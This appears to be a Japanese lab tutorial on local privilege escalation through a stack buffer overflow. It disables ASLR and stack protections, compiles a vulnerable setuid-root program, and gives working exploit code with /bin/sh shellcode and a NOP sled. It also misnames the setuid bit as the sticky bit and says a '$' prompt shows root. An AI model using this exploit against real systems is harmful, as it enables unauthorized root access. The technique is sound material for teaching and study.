ubuntu上で、バッファオーバーフローを利用してrootになる試行を実施してみます。
最近のOSは、アドレス空間のランダム化を実施しています。
ヒープ、プログラム、そしてスタックのメモリ上の配置をランダマイズしているのです。
今回の試行ではスタックの配置領域が判明している必要があるので、一旦ここでは、
アドレス空間のランダマイズを止めましょう。
それには、⬇のコマンドをターミナルで発行します。
sudo sysctl -w kernel.randomize_va_space=0
元に戻すには、
sudo sysctl -w kernel.randomize_va_space=2
としてください。
ちなみに、現在値は
sysctl -n kernel.randomize_va_space
で確認出来ます。
んで、次にバッファオーバーフローするプログラムを作成、コンパイルします。
下記のコードは、strcpyを使って、ローカルに確保したサイズ500のバッファに
プログラム引数で与えられた文字列データを、サイズの指定なしにコピーしています。
まぁ、やっちゃいけないことですね。こりゃ。
欠陥を持つプログラム
#include <stdio.h>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
コンパイルにはちょっと工夫が必要で、というのもセキュリティが向上していて、
通常gccでオプションなしでコンパイルすると、
リターンアドレスの改ざんをシステムが検知する機構、
スタック上でプログラムを実行出来ない機構が組み込まれます。
なので、コンパイルオプションを付与してこの二つの機構をキャンセルしましょう。
gcc -fno-stack-protector -z execstack -o vuln vuln.c
-fno-stack-protector:リターンアドレスの改ざん検出をキャンセル
-z execstack:スタック上でのプログラム実行を許可
vuln.cは、ソースファイル、vulnは、実行可能ファイル名
んで、無事にコンパイル出来たら
このプログラムのオーナーをrootに設定、スティッキービットも設定しましょう。
スティッキービットが立っているプログラムを実行した場合、
実効ユーザが、ファイルのオーナーになります。
この場合、例えばユーザhogehogeがvulnを実行した場合、rootユーザとしてvulnが
実行されます。
sudo chown root vuln
sudo chmod +s vuln
んで、下記のコードを普通にコンパイルして、
gcc -o exploit exploit.c
エクスプロイトコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
unsigned int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 900;
esp = sp();
ret = esp - offset;
printf("stack pointer (ESP) :0x%x\n", esp);
printf(" offset from :0x%x\n", offset);
printf("dummy return address:0x%x\n", ret);
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *)ptr;
for(i = 0; i < 600; i+=4){
*(addr_ptr++) = ret;
}
for(i = 0; i < 200; i++){
buffer[i] = '\x90';
}
ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer[600-1]=0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
一般ユーザで、exploitを実行します。
./exploit
すると、ターミナルのプロンプト表示が
$
となってルートになっているコトが分かります。
動作原理は、いずれまた。
vulnに復帰アドレスを改ざんするシェルコードを与えて動作してます。
ちなみに、exploit.c中のoffsetは環境によって調整する項目です。適時変更する必要があります。